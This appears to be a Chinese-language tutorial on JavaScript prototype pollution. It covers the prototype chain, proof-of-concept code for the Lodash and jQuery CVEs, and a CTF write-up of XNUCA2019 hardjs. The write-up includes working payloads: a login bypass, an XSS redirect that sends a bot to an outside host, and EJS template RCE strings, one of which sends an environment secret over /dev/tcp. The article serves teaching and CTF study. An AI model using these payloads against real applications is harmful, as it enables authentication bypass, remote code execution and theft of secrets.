您好,登錄后才能下訂單哦!
這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)JavaScript Prototype污染攻擊是怎樣的,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
0x00 正文
原型和原型鏈
JavaScript中,我們?nèi)绻x一個(gè)類,需要以定義“構(gòu)造函數(shù)”的方式來定義。也就是說,我們定義了一個(gè)函數(shù),就會(huì)有對(duì)應(yīng)的一個(gè)類,類名為該函數(shù)名。
原型
每個(gè)函數(shù)對(duì)象都會(huì)有個(gè)prototype屬性,它指向了該構(gòu)建函數(shù)實(shí)例化的原型。使用該構(gòu)建函數(shù)實(shí)例化對(duì)象時(shí),會(huì)繼承該原型中的屬性及方法。
所有的對(duì)象都有__proto__屬性,它指向了創(chuàng)建它的構(gòu)建函數(shù)的原型。
在P神的介紹JavaScript原型污染攻擊文章中我們可以知道以下兩個(gè)性質(zhì)。
prototype是一個(gè)類的屬性,所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype中的屬性和方法
一個(gè)對(duì)象的__proto__屬性,指向這個(gè)對(duì)象所在的類的prototype屬性
原型鏈
所謂原型鏈也是指JS中的一個(gè)繼承和反向查找的機(jī)制,函數(shù)對(duì)象可以通過prototype屬性找到函數(shù)原型,普通實(shí)例對(duì)象可以通過__proto__屬性找到構(gòu)建其函數(shù)的原型。
JavaScript的這個(gè)查找的機(jī)制,被運(yùn)用在面向?qū)ο蟮睦^承中,被稱作prototype繼承鏈
每個(gè)構(gòu)造函數(shù)(constructor)都有一個(gè)原型對(duì)象(prototype)
對(duì)象的__proto__屬性,指向類的原型對(duì)象prototype
JavaScript使用prototype鏈實(shí)現(xiàn)繼承機(jī)制
具體的可以參考下面的解釋圖(參考鏈接見附錄)
原型鏈污染
原型污染是指將屬性注入現(xiàn)有JavaScript語言構(gòu)造原型(如對(duì)象)的能力。
JavaScript允許更改所有Object屬性,包括它們的神奇屬性,如_proto_
,constructor
和prototype
。
在一個(gè)應(yīng)用中,如果攻擊者控制并修改了一個(gè)對(duì)象的原型,那么將可以影響所有和這個(gè)對(duì)象來自同一個(gè)類、父祖類的對(duì)象,所有JavaScript對(duì)象通過原型鏈繼承,都會(huì)繼承Object.prototype上的屬性,這種攻擊方式就是原型鏈污染。
當(dāng)發(fā)生這種情況時(shí),有可能會(huì)被攻擊者利用從而注入攻擊代碼達(dá)到篡改程序或者執(zhí)行命令的目的。
原型鏈污染出現(xiàn)的情況
根據(jù)p神文章所說,原型鏈污染主要是因?yàn)楣粽呖梢栽O(shè)置__proto__
的值,導(dǎo)致污染,因此我們的目光應(yīng)該瞄準(zhǔn)哪些地方可以設(shè)置__proto__
的值,或者說尋找某些對(duì)象,可以控制其鍵名的操作。
比如:
對(duì)象merge
對(duì)象clone(將待操作對(duì)象merge到一個(gè)空對(duì)象中)
舉個(gè)例子:
假如存在一個(gè)merge操作:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }}
這里沒有對(duì)鍵值進(jìn)行過濾,假如key為__proto__
,那么就可以進(jìn)行原型鏈污染。
這里需要注意,要配合JSON.parse使得我們輸入的__proto__
被解析成鍵名,JSON解析的情況下,__proto__
會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,否則它只會(huì)被當(dāng)作當(dāng)前對(duì)象的”原型“而不會(huì)向上影響,例如:
>let o2 = {a: 1, "__proto__": {b: 2}}>merge({}, o2)<undefined
>o2.__proto__<{b: 2} //直接返回對(duì)應(yīng)值
>console.log({}.b)<undefined //并未污染原型
>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')>merge({},o3)<undefined
>console.log({}.b)<2 //原型被成功污染
CVE-2019-10744Lodash.defaultsDeep
https://snyk.io/vuln/SNYK-JS-LODASH-450202//Affecting lodash package, versions <4.17.12
Lodash是一個(gè)一致性、模塊化、高性能的JavaScript 實(shí)用原生庫,不需要引入其他第三方依賴,意在提高開發(fā)者效率,提高JS原生方法性能。它通過降低array、number、objects、string 等等的使用難度從而讓 JavaScript 變得更簡(jiǎn)單。此軟件包的<4.17.12版本會(huì)受到原型污染的影響。
在Lodash庫中defaultsDeep
函數(shù)可以進(jìn)行構(gòu)造函數(shù)(constructor)重載,通過構(gòu)造函數(shù)重載的方式可以欺騙添加或修改Object.prototype的屬性,這個(gè)性質(zhì)可以被用于原型污染。
驗(yàn)證POC:
const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } }
check();
CVE-2019-11358
JQuery<=3.4.0中的$.extend
在./src/core.js
中:
155: if ((options = arguments[ i ]) != null)
如果傳入的參數(shù)arguments[i]不為空,將賦值給options,隨后會(huì)逐個(gè)取出并賦值給copy
158: for (name in options) { 159: copy= options [name];
因此copy值為外部可控
183: target[name] = jQuery.extend (deep,clone, copy);
隨后使用jQuery的extend函數(shù)將copy對(duì)象的內(nèi)容合并到目標(biāo)對(duì)象clone中,deep是它的可選參數(shù),指示是否深度合并該對(duì)象,默認(rèn)為false,如果為true,且多個(gè)對(duì)象的同名屬性也都是對(duì)象,則該“屬性對(duì)象“的屬性也將進(jìn)行合并。其中,extend函數(shù)有以下兩個(gè)需要注意的地方:
如果只為$.extend()指定了一個(gè)參數(shù),則意味著參數(shù)target被省略。此時(shí),target就是jQuery對(duì)象本身。通過這種方式,我們可以為全局對(duì)象jQuery添加新的函數(shù)。
127:target = arguments[ 0 ] || {},
如果多個(gè)對(duì)象具有相同的屬性,則后者會(huì)覆蓋前者的屬性值。
在小于3.4.0版中extend方法不作檢查,把copy對(duì)象合并到target對(duì)象中
187:target[name] = copy;
如果 name 可以為 __proto__
,則會(huì)向上影響target 的原型,進(jìn)而覆蓋造成原型污染。
下面為驗(yàn)證POC
>let b = $.extend(true,{},JSON.parse('{"__proto__":{"vuln": true}}')) <undefined >console.log({}.vuln); <true <undefined
可以看到當(dāng)已經(jīng)發(fā)生了原型污染
在補(bǔ)丁中可以看到對(duì)屬性值進(jìn)行了過濾:
for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( target === copy ) { if ( name === "__proto__" || target === copy ) { continue; }
Node.js中命令執(zhí)行
在Node.js中有時(shí)需要執(zhí)行一些系統(tǒng)命令,這時(shí)候會(huì)用到child_process
模塊,該模塊翻譯過來就是子進(jìn)程,主要通過產(chǎn)生子進(jìn)程來執(zhí)行系統(tǒng)命令。
global.process.mainModule.require('child_process').exec global.process.mainModule.constructor._load('child_process').exec
0X01 題目:XNUCA2019 hardjs
方法一:JQuery中$.extend污染+前端XXS
在robot.py里面可以看到FLAG是藏在主機(jī)的環(huán)境變量中,并賦值給password。
username = "admin" password = os.getenv("FLAG")
首先,利用JQuery中$.extend污染session
在server.js中,對(duì)用戶進(jìn)行如下判斷:
function auth(req,res,next){ // var session = req.session; if(!req.session.login || !req.session.userid ){ res.redirect(302,"/login"); } else{ next(); } }
通過前面的一些知識(shí)我們可以知道,在調(diào)用一個(gè)不存在的屬性key時(shí),結(jié)果會(huì)返回undefined,比如
>function a(){}<undefined>a.aaa<undefined>let b = new a()<undefined>b.aaa<undefined
那么req.session.login
以及req.session.userid
在用戶未登錄之前的值也是undefined
的,按照之前所學(xué)習(xí)的原型鏈污染,如果我們能污染Object,那么我們只需要修改Object里的login和userid為true或者1,那么在session找不到login和userid兩個(gè)屬性值時(shí)就會(huì)向父對(duì)象進(jìn)行查找,一直到找到父對(duì)象具有這兩個(gè)屬性值或者查找到NULL為止,因?yàn)镺bject里的login和userid已經(jīng)被污染,因此可以任意用戶登錄。
在app.js中使用了存在漏洞的jQuery版本并使用了$.extend方法
function getAll(allNode){
$.ajax({ url:"/get", type:"get", async:false, success: function(datas){ for(var i=0 ;i<datas.length; i++){ $.extend(true,allNode,datas[i]) } // console.log(allNode); } })}
因此我們可以污染原型,首先向add路由請(qǐng)求6次,因?yàn)橛涗洍l數(shù)大于5才會(huì)執(zhí)行合并
server.js中
else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var doms = {} var ret = new Array();
for(var i=0;i<raws.length ;i++){ lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
var sql = "delete from `html` where id = ?"; var result = await query(sql,raws[i].id); }
{"type":"test","content":{"constructor":{"prototype":{"login":true,"userid":1}}}}
然后訪問一下get路由來觸發(fā)$.extend來污染原型
所以現(xiàn)在可以以任意用戶登錄。
在所給的robot.py中我們可以看到以下設(shè)置:
chrome_options.add_argument('--disable-xss-auditor') chrome_options.add_argument('--no-sandbox')
可以看到bot利用selenium打開網(wǎng)站首頁,原本是會(huì)跳轉(zhuǎn)到login的,而密碼就是flag,但是我們對(duì)原型進(jìn)行了污染使得可以直接登錄了網(wǎng)站首頁,如果我們能在前端(即網(wǎng)站首頁)進(jìn)行XSS,再加上bot原來就會(huì)執(zhí)行一次login的發(fā)送動(dòng)作,那么我們就可以在首頁構(gòu)造一個(gè)form使得bot執(zhí)行的submit動(dòng)作指向我們的服務(wù)器,所以我們就可以獲取到提交的password也就是flag了。
繼續(xù)查看代碼,看看頁面時(shí)如何進(jìn)行渲染的,在前端app.js中,用js生成模板時(shí),遍歷了hints數(shù)組并將hints數(shù)組里面的內(nèi)容寫入到對(duì)應(yīng)li標(biāo)簽中,header、notice、wiki、button和message都會(huì)被渲染進(jìn)sandbox中
this.sandbox.setAttribute('sandbox', 'allow-same-origin')
即使我們可以寫表單,也無法提交,數(shù)據(jù)中的js不會(huì)被執(zhí)行。
for (key in dom){ switch(key){ case 'header': $tmp = $("li[type='header']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]);
// console.log($newNode.html());
viewport.appendChild( $newNode[0] ); break; case "notice": // console.log(dom[key]); $tmp = $("li[type='notice']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "wiki": // console.log(dom[key]);
$tmp = $("li[type='wiki']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "button": // console.log(dom[key]);
$tmp = $("li[type='button']"); $newNode = $( $tmp.html() ); $newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] );
break; case "message": // console.log(dom[key]); $tmp = $("li[type='message']"); $newNode = $( $tmp.html() );
$newNode.find("span.content").html(dom[key][0]); viewport.appendChild( $newNode[0] ); break; default: console.log(key,":",dom[key]); }
}
接著看
(function(){ var hints = { header : "自定義內(nèi)容", notice: "自定義公告", wiki : "自定義wiki", button:"自定義內(nèi)容", message: "自定義留言內(nèi)容" }; for(key in hints){ // console.log(key); element = $("li[type='"+key+"']"); if(element){ element.find("span.content").html(hints[key]); } } })();
如果在前端頁面能找到li標(biāo)簽且含有type屬性,那么就可以考慮污染logger變量,使得hints數(shù)組也含有l(wèi)ogger屬性,從而把logger的內(nèi)容打印到頁面中,且避開sandbox,這樣就可以執(zhí)行XSS了
<li type="logger"> <div class="col-sm-12 col-sm-centered"> <pre class="am-pre-scrollable"> <span class="am-text-success">[Tue Jan 11 17:32:52 9]</span> <span class="am-text-danger">[info]</span> <span class="content">StoreHtml init success .....</span> </pre> </div> </li>
進(jìn)行XSS,誘導(dǎo)bot把數(shù)據(jù)提交到指定服務(wù)器,這里需要注意的是在污染session成功以后,需要用useid=1的賬號(hào)來進(jìn)行l(wèi)ogger的污染,當(dāng)提交次數(shù)大于5之后,訪問get路由,觸發(fā)server.js中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));成功污染,把flag打到VPS
{"type":"test","content":{"__proto__": {"logger": "<script>window.location='http://wonderkun.cc/hack.html'</script>"}}}
const ejs = require('ejs')
該項(xiàng)目使用ejs庫作為模板引擎,由于該模板引擎中通常會(huì)有eval等操作用于解析,因此可以去看ejs的存在原型鏈污染的地方。
查看ejs源碼可以發(fā)現(xiàn),很大一部分調(diào)用全是為了動(dòng)態(tài)拼接一個(gè)js語句,當(dāng)opts
存在屬性outputFunctionName
時(shí),該屬性outputFunctionName
便會(huì)被直接拼接到這段js中。
if (!this.source) { this.generateSource(); prepended += ' var __output = [], __append = __output.push.bind(__output);' + '\n'; if (opts.outputFunctionName) { prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n'; } if (opts._with !== false) { prepended += ' with (' + opts.localsName + ' || {}) {' + '\n'; appended += ' }' + '\n'; } appended += ' return __output.join("");' + '\n'; this.source = prepended + this.source + appended; }
然后根據(jù)拼接的內(nèi)容,生成動(dòng)態(tài)函數(shù)
try{ ctor = (new Function('return (async function(){}).constructor;'));}.....else { ctor = Function; } fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src); }
此處如果可以控制opts.outputFunctionName為惡意代碼,即可實(shí)現(xiàn)RCE
附上出題者的payload
{"type":"test","content":{"constructor":{"prototype":{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}}
拼接到后端的動(dòng)態(tài)函數(shù)則是:
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';// After injectionprepended += ' var a=1;process.mainModule.require('child_process').exec('bash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')// 后面的代碼都被注釋了'
污染了原型鏈之后,渲染直接變成了執(zhí)行代碼,并提前 return,從而 getshell
同樣可以找到另外一處地方
var escapeFn = opts.escapeFunction;var ctor;....if (opts.client) { src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src; if (opts.compileDebug) { src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src; }}
偽造escapeFunction也可以打到RCE
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; returnprocess.env.FLAG","debug":true, "compileDebug": true}}}
上述就是小編為大家分享的JavaScript Prototype污染攻擊是怎樣的了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。